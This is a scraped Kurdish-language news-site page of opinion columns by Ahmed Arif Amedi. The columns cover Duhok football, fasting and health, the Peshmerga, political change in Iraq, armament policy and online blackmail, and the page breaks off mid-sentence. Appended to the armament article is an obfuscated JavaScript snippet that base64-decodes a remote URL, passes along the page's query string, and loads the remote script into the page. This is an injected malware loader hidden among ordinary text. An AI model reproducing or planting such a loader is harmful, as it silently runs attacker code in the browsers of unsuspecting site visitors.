ئەحمەد عارف ئامێدی
پشتی سەركەفتنێن یانەیا دهۆكێ یا تەپاپێ یێن ڤان دوماهیان و بدەستڤەئینانا ناسناڤێ قارەمانا جاما كەنداڤی و دەنگڤەدانا ناڤێ دهۆكێ ل سەرانسەری دەڤەرێ، كو رەهەندێن ئاسۆیی یێن جۆرە وجۆر ب خوەڤەگرتینە و مینا سەرهلدانەكا وەرزشی ل دهۆكێ ڤەدایی، كو گەلەك پەیامێن گەرم و گۆڕ دگەهینیت، ل دەسپێكێ ئەو هەستا هەڤپشك یا جەماوەرەكێ كاریگەر ب هەیەجان یێ كو سەلماندی، ئێكگرتن رێرەوا سەركەفتنێ یە، ل ئاستەكێ وەكو موعجیزەیەكێ بوو، كانێ چاوا ڤی جەماوەرێ دلسۆز كو ب دەهان هزاران خەلكێ دهۆكێ تەنها و تەنها ئێك (دل) هەبوو، شیان یاریزانێن خۆ ب راهێنەر ڤە ل دویڤ حەز و ئارەزۆیاخۆ بینن و ببەن كەنگی بخوازن دێ گۆلێ تۆماركەن و كەنگی بخوازن دێ بریارێ دەن، تشتێ هەری دلخۆشكەر ئەوبوو دەمێ ب هژمارەكا كێم یانەیا دهۆك شیا سەركەفتنێ بدەستخۆڤە بینیت و ل دەمەكێ وەسا ژی كو زۆرێ بەرتەنگ بوویە، كو ئەڤ دیاردە كێم جاران د دیرۆكا تەپا پێی دا هاتیە روودان، ئەڤجا ئەڤان سەركەفتنان هەمی پەیامێن دیتر د گەل خۆ دا راكرن و ناڤودەنگیا كوردان ب دهۆك و كوردستان و دگەل خۆدا ئیراق ژی بۆ جیهانێ دانە دیاركرن، ئەڤ شۆرەشە د بیاڤەكێ نشتیمانی دا بیرا مە ل شۆرەشا ئەیلوولا مەزن دئینیت كو ب هەمی رەنگ و جۆرێن خۆ ڤە شییا شۆرەشەكا سەرانسەری ب خۆڤە بگریت و ڤی دوژمنێ هندێ مەزن نەچاری دانپێدانێ بكەت، ب هیمەتا نەمر مستەفا بارزانی و پەسەندا هەمان باب و باپیرێن جەماوەری ئەڤرۆ ب هەمان رۆحیەت پشتەڤانا پێشمەرگەیێن شەڕێ فۆتبۆلێ دكەن، هەروەسا ژی ژلایەكێ دیتر ڤە، ئەڤە یانەیا زاخۆ ژی مل ب ملێ یانەیا دهۆكێ ڤە یا ناڤێ وەرشا كوردی بلند نیشا جیهانێ ددەت ب هەمان رۆحیەت و ب هەمان شێتاتیا حەژێكرنا وەرزشێ یا سەركەفتنان تۆمار دكەت، سەرەرای هەمی ئاستەنگ و هەڤڕكی و بۆیەرێن ب مەرەم و بێ مەرەم بۆ دهێنە پێش. لێ دهۆك و زاخۆ شۆرەشەكا سەرانسەری د ناڤ ناخێ ملەتی دا پەیدا كر و كەسێن نەحەزژێكەرێن وەرزشێ ژی بوونە باشترین هاندەر ب بەراوردی ل گەل یانەیێن گەلەكێن دیتر، ئەڤە ژی بۆ دەستهەلاتا مە چەكەكێ ب هێزێ دیترە. ـ
نووترين نووچه
- مافێ چارەنڤـیس، مافـەكێ سروشتیێ نەتـەوەیا كـوردە
- نێچیرڤان بارزانی ب فەرمی بۆ وەلاتێ قەتەرێ دهێتە ڤەخواندن
- نێچیرڤان بارزانی و مەسرور بارزانی پیرۆزباهیێ ل شیرەتكارێ نوو یێ ئەلمانیایێ دكەن
- سەرۆكێ حوكمەتا هەرێمێ دوپاتیێ ل بهێزكرنا پەیوەندییان ل گەل هندستانێ دكەت
- خسرۆ گۆران: روودانێن دەڤەرێ كاریگەری ل سەر هەلبژارتنێن ئیراقێ نابیت
- نێزیكی 50 هزار تیرۆرست و كەسوكارێن وان مووچەیێ شەهیدان ژ حوكمەتا ئیراقێ وەردگرن
- بەغدا ب نە هنارتنا مووچەیێ خەلكێ كوردستانێ قەرەبوویا كێمبوونا داهاتییێن خوە دكەت
- نێچیرڤان بارزانی سەرەخوەشیێ ل ئەیاد عەلاوی دكەت
- مەسرور بارزانی: ئیراقێ پێدڤی ب حوكمڕانییەكا دادپەروەرانە هەیە
- تێكگەهشتنەكا باش هەیە و د زووترین دەم دا حوكمەت دێ هێتە پێكئینان
ئه‌حمه‌د عارف ئامێدي
دایت و رۆژیگرتن
ئەحمەد عارف ئامێدی
خۆیایە كو پتریا ئایینێن ئەسمانی پیڤەرێن ژیانا مرۆڤی دانایینە و هەمییان ژی خۆ ل رێكخستنا ساخلەمیا مرۆڤی كرینە خودان و ئێك ژ وان ژی رۆژیگرتنە و خۆ ل بەرراگرتنا جەستەی و تەحەمولێ یە. ئایینێ ئیسلامێ ژی بیاڤێ رۆژیگرتنێ د مەهەكا وەكو یا ئەڤا پیرۆز د رۆژیگرتن ل سەر موسلمانان كریە ئەرك، ئەڤجا ژبلی مفایێن روحی و مۆرالی، ئەز دێ بالا خۆ كێشمە سەر لایەنێ جەستەیی و وەرزشی، كو ل ڤی سەردەمی رێكخستنا لاشی و دایت بوویە بابەتێ رۆژەڤێ و مرۆڤی پێدڤی ب ڤێ رێكخستنێ یە، ئەز دێ ئاماژێ ب مفایێن ساخلەمیا رۆژیگرتنێ دیاركەم
ل دەسپێكێ ژی ل دۆر كێمكرنا كێشا مرۆڤی و گرانیا وی ڕۆژیگرتن هاریكاریا سۆتنا كالۆری و سعراتێن گەرماتیێ یێن زێدە دكەت، ئەڤ ژی ڕەنگە هاریكار بیت بۆ دابەزاندنا كێشەیا گرانیا مرۆڤی. هەروەسا كارێ دلێ مرۆڤی باشتر لێ دكەت. دیسا رێژەیا شەكرێ د ناڤ خوینێ دا رێكدئێخیت و پەستانا خوێنێ و كۆلیسترۆلێ كێم دكەت ژ بۆ هەستیاریا جەستەیی بۆ ئەنسۆلینی باشتر دكەت. باشتركرنا ساخلەمیا هەرسەكرنێ: ڕۆژیگرتن هاریكارە بۆ باشتركرنا تەندروستیا ئامیرەیێ هەرسەكرنێ و قورتال بوون ژ ئەوان ژەهرێن د ناڤ لاشێ مرۆڤی دا.
ژلایێ دی ڤە ژی خورتكرنا كاركرنا مێشكی دكارین بێژین كو رۆژیگرتن پشتەڤانە بۆ هندێ مێشك كار و ئەركێن خۆ باشتر لێ بكەت، بیردانكێ و جەختیا هزرا مرۆڤی خورت و باشتر لێ دكەت (تەركیز و میمۆریێ سەرێ مرۆڤی). هەر دیسا دژە پیربوونێ ژی ڕۆژیگرتن هایكارە بۆ نەهێلانا نیشانێن پیربوونێ. هەستكرن ب ئاسوودەیا دەروونی یانكو (ئارامی و رەحەتیا دەروونی): رۆژیگرتن هاریكارە بۆ هندێ پتر هەست ب ئاسوودەیا دەروونی و رحەتیێ بكەی، هەروەسا فشارێ و دڵەڕاوەكیێ و (سترێسێ) كێم دكەت. هەستا سەبڕكێشانێ خورت دكەت و وەل مرۆڤی دكەت یێ ل سەر خۆ بیت تەنا و ئارام بیت خۆ كونترل بكەت. ب رەنگەكێ گشتی مفایین وەرزشكرنێ ل دەمێ رۆژیگرتنێ، باشتركرنا بێنفرەهیێ و (لیاقەتێ)، وەرزش كار و ئەركێن دلی و سیهان باشتر لێ دكەت و ماسۆلكە و هەستیكان ب هێز دئێخی و ساخلەمیا دەروونی خورت دكەت، وەرزش هاریكارە بۆ هندێ كو خەمۆكیێ و دلراوەكیێ و سترێسێ (قەلەق) ێ ل دەف مرۆڤ كێم بكەت و گێۆل و هەستا مرۆڤی خۆشتر لێ دكەت و پتر هەست ب كەیفخۆشیێ و دلشادیێ بكەت.تشتەكێ گرنگ ژی باشتركرنا كۆالیتیا نڤستنا مرۆڤی یە یانكۆ وەرزش هاریكاریا مرۆڤی دكەت خەوەكا خۆش بكەت و بكەڤیتە د خەوەكا كویتر دا.
پێشمەرگە ژ بۆ سـەروەریا قـانـوونــێ
ئەحمەد عارف ئامێدی
ئێك ژ پرسێن فەلەسەفی یێن كویر یێن كو تەڤلی تێگەهێن سەروەریێ و ناسنامەیا نشتیمانی و هەبوونا جڤاكی دبن، مینا هەمی دامەزراوەیێن دیتر یێن وەلاتی رۆلێ سازیێن سەربازی یە؛ نەمازە د پاراستنا جەوهەرەیا وەلاتی دا كو ئەو ژی قانوونە ژ دەستەبەركرنێ و سەروەریێ، چونكو تنێ پاراستنا ئەردی ب خۆڤە ناگریت؛ بەلكو بلند راگرتنا شەرەف و كەرامەتا نەتەوەیی یە و پاراستنا بها و پرەنسیپێن وەلات ل سەر دهێتە دامەزراندن و قانوون یەكسانیێ و داوەریێ ژ هەر مەترسیەكێ دپارێزیت. ئەڤجا د ڤێ بیاڤی دا رۆلێ هێزێن چەكدارێن پێشمەرگەی گەلەك رەهەندێن فەلسەفی یێن جۆرەوجۆر ب خۆڤە دگریت، چونكو دبیتە پارێزەرا جڤاكی دەمێ كو روی ب روی مەترسییان دبیت؛ دەما كو ل سەر هەبوونا بەردەوامیا وی دبنە هەڕەشە و قانوون بكەڤیتە د مەترسیێ دا مینا ئەو بۆیەرێن ل ڤان رۆژان ل كەركووكێ پەیدا بوون، نابێژم كو ب هەرەشەكرنا بۆیەرێ مەزنتر لێ بێت، لێ تنێ هەبوونا ناڤێ هێزێ ب خۆ چارەسەریەكە و لایەنێ بەرامبەر دئێخیتە د هەلوەستەكێ وەسا دا كو ژ وێ كەربێ بێتە خار و حسابەكێ بۆ خەلكێ مە یێ سڤیل بكەت.
ئەڤ دامەزراوەیێن سەربازی هێزەكا رێكخستی بخۆڤە دگرن، كو ژ بیرۆكەیا بەرگریكرن ژ هەبوونا خۆ هاتیە ئافراندن، هەلبەتە نە تنێ بزاڤێ بۆ سەركەفتن و خۆپێشخستنا سەربازی دكەت؛ بەلكو دەربازی بەرسینكگرتنا ئایدۆلۆژیێن توندرەو و گەفێن خرابناكتر ژ جاران یێن ڤی سەردەمی دەركەفتین دبن، ب ڤێ ئێكێ ئەڤ دامەزاروە ئیرادەیا تەڤایی یا جڤاكی بەرجستە دكەت و ژ بۆ ئازادی و سەربخۆیا خۆ دبیتە پەرژانەكێ موكم. لەورا رۆلێ پێشمەرگەی ل هەرێما كوردستانا ئیراقێ میناكەك و ئاڕگۆمێنتەكێ هەرێ زێندی یە كانێ دامەزراوەیێن سەربازەی چاوا قانوونێ و ئاسایشا نەتەوەیی و ناسنامەیا مللەتی ل ژێر وان هەڤڕكیێن كویر و یێن ئالۆز دپارێزن، ئەڤ بەرگریا كو هێزێن پێشمەرگەی پشكداریەكا كاڕا تێدا كری و رۆلێ خۆ تێدا دیتی؛ مینا ل گەلەك بەرخۆدان و بزاڤ و شەڕان دا، چو ل شۆرشا ئیلۆنا مەزن بیت، یان شۆرشا گۆلانا پێشكەڤتیخواز و سەرهلدانێ و هەتا شەرێن دژی تیرۆرستێن داعشا خویناوی و ململانێن سیاسی بیت، لەورا دبێژین پێشمەرگە نە هەما بەس هێزەكا سەربازی یە، بەلكو هێمایەكێ چاند و ناسنامەیا گەلێ كوردی بوویە. كو ب هێز و شیان خۆ ڕاگرتیە ل بەر سینگی هەمی هەوێن ژناڤبرنێ و ژێكژێكرنا و پارچەكرنا كیانەكێ رەسەن، ب درێژیا دیرۆكێ ب خوینا ئەڤ خاكە ئاڤدایە كو پشكۆژێن ئازادیێ ل سەر تێگەهێ مافێ مرۆڤی د ژیانەكا ئازاد و سەربخۆ دا بەرهەم ببینیت. ب هەست و هۆشەكا كویر بەرگری ژ وان مەترسییان كریە یێن گەل و ئەردێ وان تووش دبیتێ، ژبەر هندێ ئەڤە مافەكە ژ وی رەهەندێ خۆ یێ سەربازی تیپەڕیت كو بگەهیتە فەلسەفەیا بەرگریكرن ژ كەرامەت و هەبوونا مرۆڤی بێتە كرن.
ب گۆتنەكا دی، رۆلێ پێشمەرگەی د پاراستنا قانوونێ و یەكسانیا جڤاكی دا ژ ئەركێ خۆ یێ سەربازی یێن تەقلیدی تێدپەڕیت و ئاسۆیێن فەلسەفی یێن هویر و كویر ب خۆڤە دگریت، كو گرێدایی هەبوونا گەل و مێژوویا وی یە، لەورا ئەڤ بزاڤا وی ل دژی هەر هەرەشەیەكێ نە تنێ بەرگریكرنەكە، بەلكو مافێ ژیانەكا ب ئازادی و كەرامەت دسەلمینیت.
گوهۆرین ب سه‌ر ئیراقێ دا مسۆگه‌ره
ئه‌حمه‌د عارف ئامێدى
به‌رى رۆخیانا رژێما به‌شار ئه‌سه‌دى، گۆتاره‌ك مه نڤیسی بوو كو ل نێزیك ئه‌ڤ رژێمه دێ كه‌ڤیت و گوهۆرینه‌كا ریشه‌ى دێ ب سه‌ر ده‌ڤه‌را رۆژهه‌لاتا ناڤین دا هێت، تایبه‌ت ژى ل سووریا، لوبنان، ئیراق و یه‌مه‌نێ ئه‌ڤ وه‌لاتێن كو ئیران یا ل سه‌ر زاله ب هه‌ر ره‌نگه‌كى راسته‌وخۆیان یان نه، من نڤیسی بوو كو خه‌ونێن ئیرانێ بۆ رێیا (ره‌ئس ره‌جا سالح) ب ئاڤێ دا چوون، ل سه‌ر ڤێ ئێكێ ئه‌و بیڤه‌له‌رزا ل سووریێ داى یا به‌ر ب ئیراقێ ژى دا دهێت و دێ ب چاڤێن خۆ بینین، ئه‌ڤه ژى دێ د دو ئاراسته‌یان دا بیت، ئه‌و ژى ((گوهۆرینا نه‌رم ـ ب هێزێ)) ئێدى زنجیره‌یا گوهۆرینێ ل سه‌ر ئیراقێ یا ئاشكرا دبیت، چونكو هه‌ر ژ سه‌رده‌مێ 2003 حه‌تا كو نها ئیراق یا د ناڤا ئاژاوێ، كوشتنێ، تالانێ دا دژیت، یان میلیشیاتێن ئیرانێ كو ل سه‌رێ هه‌ڕه‌مى دانه و هه‌تا كو دگه‌هیته نزمترین به‌رپرسیارى، ئیراق و گه‌لێ خۆ یا د ناڤا هه‌ژاریێ دا دنالیت بێ به‌هربوویه ژ هه‌ر تشته‌كى سه‌ره‌راى كو زه‌نگینترین وه‌لاتێن جیهانێ یه، یانكو ئه‌ڤ حزبێن ئیراقێ برێڤه‌دبه‌ن نه‌شیاینه ئیراقێ به‌ر ب پێشڤه‌ببه‌ن ژ هه‌ر لایه‌كى ڤه.
میترۆیا گوهۆرینێ به‌ر ب ئیراقێ ڤه هاتیه ئاراسته‌كرن و به‌رییا چه‌نده‌كێ وه‌زیرێ ده‌رڤه یێ ئه‌مریكا (ئه‌نتۆنى بلنگین) سه‌را ئیراقێ دایه و چاڤ ب سۆدانى كریه و په‌یامه‌ك بۆ ژ ئه‌مریكا ئینایه كو رێككه‌فتیا 21/1/2025 ژڤانێ راده‌ستكرنا (دۆنالد ترامپ) یه، بۆ سه‌ر ده‌سهه‌لاتێ، ئه‌ڤ په‌یامه دبێژیت كو ب رێیا گوهۆرینا نه‌رم دێ گوهۆرین دروست بیت، یانكو ده‌لیڤه‌دانه بۆ سه‌ركرده‌یێن میلیشیاتان كو بالا خۆ ژ ئیراقێ ڤه‌كه‌ن، نه‌خۆ دێ گوهۆرین ب هێزا ئه‌مریكا و هه‌ڤپه‌یمانێن وێ هێته كرن كو دێ ل ژێر ناڤێ (ئوپه‌راسیۆنا نێچیركرنا به‌ڕازان) بیت.
ئیراقا بهێت دێ بۆ خه‌لكێ خۆ بتنێ بیت، یانكو حه‌شدا شه‌عبی و هه‌مى گرۆپێن سه‌ر ب ئیرانێ و پاكستان و ئه‌ڤغانستانێ ڤه ئێدى نامینن، نه‌ك ئیراقه‌كا ده‌وله‌ته‌ك د ناڤ ده‌وله‌تا وێ دا، یانكو ده‌وله‌تۆكه‌ك د ناڤ ده‌وله‌ته‌كێ دا، ئه‌ڤ هه‌رێما مه تێ نه‌بیت، یاكو نێرینه‌كا خۆجه بۆ سیاسه‌تا ئیراقێ و هه‌رێمێ ل گه‌ل ده‌وروبه‌ران هه‌ى,
گوهۆرینا ئیراقێ دێ ل ناڤخۆیا وێ دابیت، نه‌كو ژ ده‌رڤه، هه‌كه هاتو داعشى ته‌ڤلى شه‌ڕه‌كى ل گه‌ل شیعه‌یان ببیت، لێ ئه‌و چه‌نده ژى ئه‌مریكا ته‌كه‌ز كریه كو ئێدى داعش ناكاریت ته‌ڤلى ئیراقێ ببیت. وه‌كو دى سه‌باره‌ت سه‌ره‌دانا حه‌لبۆسى بۆ ئه‌مریكا گه‌له‌ك ئاماژه‌یێن خۆ هه‌نه، چونكو نووراتیا مه‌زنترین قه‌باره‌یێ سونه‌یان ل ناڤا پرۆسا سیاسى یا په‌رله‌مانێ ئیراقێ دا دكه‌ت.
ئیراقا نوو دێ هه‌ناسه‌یه‌كا نوو بیت، ب رێژه‌یا 360 پله‌ی بیت، رۆژه‌ڤا شاشكێن مه‌لا ملیشیاتێن ئیرانێ نامینن، یا ژ ڤێ گرنگتر ژى دڤێت وان گۆژمێن ژ گه‌نجینه‌یا ئیراقێ دزین بڤه‌گه‌رینن كو دبینه 950 ملیار، یا هه‌رى گرنگتر ژى ئه‌و فه‌توایێن سیستانى داین كو ئه‌ڤ هه‌مى گرۆپێن حه‌شدێ و میلیشیاتان ب ئێكجارى چه‌كێ خۆ دانن و كارێ سیاسى ژى ده‌ست ژێ به‌رده‌ن. د هه‌مان مژار دا تشتێ ل لوبنانێ هاتیه كرن ژ نه‌هێلانا سه‌ركرده‌یێن حزبوللا، موقته‌دا سه‌دڕ خۆیاكریه كو ئه‌و ژێ د بێگونه‌هن، كو شیعه هاندابن كو شه‌ڕى ل لوبنانێ بكه‌ن یان پشته‌ڤانیا سووریێ بكه‌ن، چونكو هنده‌ك ژ ڤان گرۆپان هێشتا ماینه ل سه‌ر هه‌لوه‌ستێن خۆ بۆ تاگیری و هاریكاریا میحوه‌رێ شیعى (ئیراق، سووریا، لوبنان، یه‌مه‌ن).
ره‌نگه ژى هنده‌ك شه‌ڕ و پهه‌ڤچوون د ناڤبه‌را شیعه‌یان و میلیشیاتێن دژى سیاسه‌ت و ئارمانجێن ڤان گرۆپان برێڤه‌دبه‌ن هه‌بن، له‌ورت ئیراقا نوو دێ یا ڤالا بیت ژ ئه‌جینده و سیاسه‌تێن ئیرانى.
ل داویێ دبێژین ئه‌مریكا و هه‌ڤپه‌یمانێن خۆ دێ كارى بۆ گوهۆرینا ئیراقێ كه‌ن ب ره‌نگه‌كێ ریشه‌یى، چونكو سیاسه‌تا ئیراقێ یا نها ل دژى هیڤى و حه‌زێن ئه‌مریكا و ئیسرائیلێ و ته‌ڤ دوله‌تێن كه‌نداڤى یه، له‌ورا دبێژم چاڤه‌رێ گوهۆرینه‌كا مسۆگه‌ر بن ل نێزیك مه‌هێن بهین یان كێمتر ره‌نگه ب رۆژان بن و مه ژڤانه ل گه‌ل گوهۆرینێ و دێ مه هێشتا نڤیسینا گۆتاران هه‌بن.
وه‌رگێران/ شیرزاد نایف
سیاسه‌ت و پڕچه‌ككرن
ئه‌حمه‌د عارف ئامێدى
ستراتیژیا سه‌ربازى یا هه‌ر وه‌لاته‌كى، ژ یێ دیتر جودایه ژ به‌ر كو ژ ده‌رئه‌نجامێ باوه‌ریا سیاسى یا وه‌لاتى دهێته دیاركرن، ئه‌ڤجا ل ڤێره ئاڤاكرنا ستراتیژیا سه‌ربازى ب گۆر نیازێن سیاسه‌تا وه‌لاتى دهێته ده‌ستنیشانكرن، ئه‌و تشتێ دبێژنێ بیروباوه‌ریێن سه‌ربازى یێن وه‌لاتى یان كه‌توارێ ده‌ستوور. ژ ئه‌ڤان جۆره په‌یوه‌ندى و هه‌ڤپه‌یڤینان د ناڤبه‌را بیروباوه‌ریێن سیاسى یان په‌یوه‌ندیێن سه‌ربازى دا یێن ئه‌ڤ ستراتیژیا سه‌ربازى ژێ هاتیه به‌رهه‌مئینان یا كو ئالیه‌تا ئاڤاكرنا هێز و سیاسه‌تا بكارئینانا وان دیاردكه‌ت. چونكو هنده‌ك وه‌لات په‌سنا سیاسه‌تا به‌رفره‌هكرنێ و دوژمنكاریێ دكه‌ن، یانژى یا دبێژنێ ستراتیژیا هێرشكرنێ یا به‌رفره‌ه، هنده‌ك وه‌لاتێن دیتر په‌سنا (سیاسه‌تا به‌رهنگاریكرنێ) دكه‌ن ب گۆره‌ى نیاز و شیانێن وێ یێن سه‌ربازى و ئابوورى یان به‌شه‌رى، ئه‌ڤجا یا دورست ئه‌وه كو كه‌سێن له‌شكرى ل ده‌مێ سیاسه‌تا به‌رهه‌كرنا چه‌كسازیێ دكه‌ن، كو چه‌ك و كه‌لوپه‌لێن گونجاى ل گه‌ل ستراتیژیا سه‌ربازى یاكو په‌سنا وێ و سروشتێ وێ كرى.
ئه‌ڤجا بۆ به‌رهه‌ڤكرنا پلانا سیاسى یا چه‌كداریكرنێ ل هه‌ر وه‌لاته‌كێ هه‌بیت، گرێداى چه‌ند فاكته‌رێن ژێكجودا د سروشتێ خوه دا هه‌یه، هه‌ر ئێكى رێژه‌یه‌كا كارتێكرنێ ل سه‌ر وێ سیاسه‌تێ هه‌یه ئێك ژ وان: دوژمن كى یه و جۆرێ وى یه؟ یان گه‌ر (دوژمنه‌ك) هه‌بیت، ئه‌ڤ فاكته‌ره سروشتێ شه‌ڕێ دوژمنى ب خوه‌ڤه دگریت و ستراتیژیا نیازێن وى، قه‌باره‌یێ هێزێن چه‌كدارێن وى و ئاستێ چه‌كداریكرنێ و به‌رهه‌ڤكرن و چاوانیا جۆرێ مه‌شقا وێ و ئ‌و شێواز و پیلانێن وى یێن شه‌ڕى یێن ئه‌و بكاردئینیت، پله‌یا پێشكه‌ڤتنا وێ د واره‌كێ زانستى و ته‌كنۆلۆژی دا و ئاستێ به‌رهه‌مێ وى یێ پیشه‌سازى و سه‌ربازى یێ نها و یێ پاشه‌رۆژێ ب جۆراتى و چه‌نداتیێ، زێده‌بارى په‌یوه‌ندیێن سیاسى و ده‌ره‌كى یێن ده‌ستووردانا كڕینا چه‌ك و ته‌قه‌مه‌نیێن وى یێن پێشكه‌ڤتى ژ وان وه‌لاتێن پیشه‌سازى یێن پشته‌ڤانیا وى دكه‌ن، دیسا شیانێن وان سه‌ربازان یێن د ناڤ هێزێن وی دا ل سه‌ر هژمار و مه‌شق و بكارئینانا وان چه‌ك و كه‌لوپه‌لان و سه‌خبێریكرنا وان.
ئێكا دى ستراتیژیا (هێرشكرنێ) داخوازا چه‌ك و كه‌لوپه‌لێن هێزه‌كا بهرزا ئاگرین هه‌یى و شیانێن هاڤێتنا ب زیان و دوور و مانۆره‌یا پێدڤى، لێ ستراتیژیا (به‌رهنگار) هنده‌ك چه‌ك و كه‌لوپه‌لێن ب شیان ل سه‌ر روی ب رویبوونا هێرشان و زانینا چه‌كێ دوژمنى و به‌رسڤدانا وى ل ده‌مێ پێدڤى ب دربێن تۆلڤه‌كه‌ر، زێده‌بارى ڤێ چه‌ندێ سیاسه‌تا چه‌كداریكرنێ كارتێكرنێ ل سه‌ر هه‌موو پێكهاته‌یێن ستراتیژیا سه‌ربازى دكه‌ت، هه‌ر دیسا به‌لاڤبوونا هێزێن چه‌كدار یێن (دۆست) ل ده‌مێ ئاشتیێ و د ناڤ هێزێن نشتیمانی دا یانژى بنگه‌هێن ده‌رڤه و وه‌لاتێ هه‌ڤپه‌یمان، یان تشتێ دخوازیت وان هێزان و لڤینا وان ژ ناڤ وه‌لاتى و ده‌رڤه بهێنه لێكخركرن و ئاسانكرنێن پێدڤى.
ژلایه‌كێ دى ڤه یا هه‌رى گرنگ جهێ جوگرافى یه ئه‌ڤ فاكته‌ره وه‌كهه‌ڤ كارتێكرنێ ل سه‌ر ده‌ستنیشانكرنا سیاسه‌تا چه‌كداریكرنێ ل هه‌موو وه‌لاتان دكه‌ت. ئه‌و ژى تایبه‌تمه‌ندیا كه‌سێن له‌شكرى و دانه‌رێن ستراتیژیێ و سه‌نته‌رێن خواندن و ڤه‌كۆلینێن سه‌ربازى یێن برێڤه‌برنێ و ده‌سته‌كه‌ێن مه‌ده‌نى یێن گشتییه ل سه‌ر ڤان كاروبارێن جوگرافى و تۆبۆگرافى و بوارێ سه‌قایى، كو هه‌لبژارتنا ڤان چه‌ك و كه‌لوپه‌لێن گونجایى ل گه‌ل سروشتێ سه‌قایێ گۆره‌پانێن ئوپه‌راسیۆنان، سیاسه‌تا چكداریكرنێ دسه‌پینیت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
تاوانێن گه‌فلێكرنا ئه‌لیكترۆنى ل ئیراقێ
ئه‌حمه‌د عارف ئامێدى
هه‌ر ژ وه‌ختێ كو ئالاڤێن سۆشیال میدیا هاتینه د ئیراقێ دا، تاوانێن تێكدانێ ب ره‌نگه‌كێ به‌رفره‌ه ب سه‌ر ئیراقێ دا گرت، به‌لكو ل گه‌ر بۆرینا وه‌ختى زێده‌بوون، ئێدى باندێن رێكخستى بۆ مه ده‌ركه‌فتن، تایبه‌ت ژى ل وه‌ختێ كو سستى و لاوازى د جێبه‌جێكرن قانوونێ دا ل ناڤا ئیراقێ دا هه‌بیت. دگه‌ل سه‌ره‌ده‌ریكرنا نه‌یا ژدل ل گه‌ل ڤان جۆره كه‌یسان، یانژى ژ به‌ر نه‌بوونا ته‌شریعاتێن قانوونى یێن نوى و ڤه‌بڕى بۆ چاره‌سه‌ركرنێ. ئه‌ڤ جۆره تاوانه (ابتزاز) ئه‌و هه‌ولن یێن كو ژبه‌ر بده‌ستڤه‌ئینانا تشته‌كێ مادى یان مه‌عنه‌وى بده‌ستڤه‌بینن ب زۆریلێكرنا كه‌سێن دبنه قوربان، گه‌فان لێ دكه‌ن ب ئاشكراكرنا نهێنییان یان پێزانێن تایبه‌ت دژى هه‌ر كه‌سه‌كى. گه‌له‌ك جۆرێن ڤێ تاوانێ هه‌نه، چو سیاسى بیت یان دلدارى بیت ..هتد. یا ئه‌ز ئاماژێ پێ دده‌م یا ئه‌لیكترۆنیكه، هه‌لبه‌ت ل شوینا هندێ كو ئه‌ڤ بیاڤێ ته‌كنۆلۆژى بۆ مفاوه‌رگرتنێ بهێته بكارئانین ب مخابنى ڤه بۆ كارێن خراب دهێته بكارئینان.
ئه‌ڤ جۆره كه‌یسه ل سالا 2021 گه‌هشتبوونه نێزیكى 1950 حاله‌تان، وه‌زاره‌تا ناڤخوه‌یى یا ئیراقێ چاره‌سه‌ركرینه، ب گۆره‌یى ئامارێن وان، ژ به‌ر ناڤوده‌نگى و هۆزاتیێ و سه‌ده‌مێن جڤاكى باندۆره‌كێ د ئێخیته ناڤا جڤاكێ ئیراقى، ژبه‌ر كو پتریا قوربانییان ژى ئافره‌تن كو رێژه‌یا وان 90% مێینه‌نه، تایبه‌ت ژى یێن د ژیه‌كێ بچویك دا، ئه‌ڤجا سه‌ده‌مێن په‌یدابوونا ڤان تاوانان زۆرن، مینا نه‌بوونا قانوونا گرێداى تاوانێن ئه‌لیكترۆنى، و پشتبه‌ستن ل سه‌ر قانوونا سزایان كو هێشتا دزڤریته سالێن شێستان، گه‌له‌ك جاران كه‌سێ دبیته قوربان دخوازیت تشت بهێنه نخافتن و ده‌نگ ژێ نه‌هێت، به‌رامبه‌ر دانا گۆژمێن پاره‌ى داكو هه‌تكا وى نه‌چیت د ناڤ خه‌لكى دا، جاران ژى بێنا وان ته‌نگ دكه‌ن ژ به‌ر نه‌بوونا پاره‌یێ پێدڤى، یانژى كه‌سێ دبیته قوربان قه‌ستا ئۆفیسێن پۆلیسان و جهێن په‌یوه‌ندیدار دكه‌ن كو ژ ڤێ تاوانێ ده‌ركه‌ڤن، ئه‌ڤجا دكه‌ڤیته د ناڤ ئاریشه‌یا هه‌تكبه‌رنێ و لێپرسینا قانوونى گه‌ر سه‌رپێچیه‌ك كربیت.
ـ گه‌له‌ك تاوانێن ب ڤى ره‌نگى هه‌نه كه‌سێ تاوانبار ل ده‌رڤه‌ى وه‌لاتى یه، له‌ورا كارێ قانوونێ چه‌نده‌كێ سه‌خت دبیت، مرۆڤ نه‌چار دبیت خوه پێدڤى ب رێكخراوێن نێڤده‌ولى و (ئه‌نتربۆل) بكه‌ن بۆ دویڤداچوونا كه‌سێ تاوانبار، چونكو ڤان رێكخراوان هنده‌ك ئالاڤێن سه‌رده‌مانه د ده‌ست دا هه‌نه ل هه‌نبه‌ر هه‌مى تاوانباران ژى و هه‌ر وه‌سا لایه‌نێن فه‌رمى ژى وه‌كو حوكمه‌ت و كۆمپانیان و تاكه‌كه‌سان ئه‌وێن تێكدانێ دكه‌ن و هه‌تكا ژنان دبه‌ن ب وێنه و ڤدیۆیان و گه‌له‌ك ره‌فتارێن ب ڤى ره‌نگى.
ئه‌ڤجا قانوونا ئیراقى ئه‌ڤان تاوان ب ماده‌یێن گرێداى تێكدانا ئه‌لیكترۆنى چاره‌سه‌ر دكه‌ت ب گۆره‌یى قانوونا ئیراقى (430ـ 431ـ 432) یا ژماره 111 یا سالا 1969، كو ده‌قێ ماددێ 430 دبێژیت: هه‌ر كه‌سێ گه‌فا ل كه‌سه‌كى بكه‌ت كو تاوانه‌كا جینائى ل به‌رامبه‌رى وى بكه‌ت یان كاره‌ك دژى وى یان مالێ وى یان كه‌سه‌كێ دیتر كربیت.. دێ بۆ ماوه‌یه‌كى هێته زیندانكرن كو ژ حه‌فت سالان نه‌بۆریت. ئه‌ڤجا ماده‌م كو ئه‌ڤ جۆره تاوانه به‌ر ب زێده‌بوونێ ڤه دچن و مژار پێدڤى ب كاڕاكرنا چاره‌سه‌ركرنێ یه فه‌ره هنده‌ك ئالاڤ و كیانێن جێبه‌جێكار بهێنه دوستكرن كو د باوه‌رپێكرى بن، كو ره‌نگه ب سه‌دان یان هزران قوربانییان ژ خه‌فكێن تاوانباران قورتال ببن، كو ژ ناڤزراندنێ و بێچاره‌یێ و كو كوشتنێ ژى 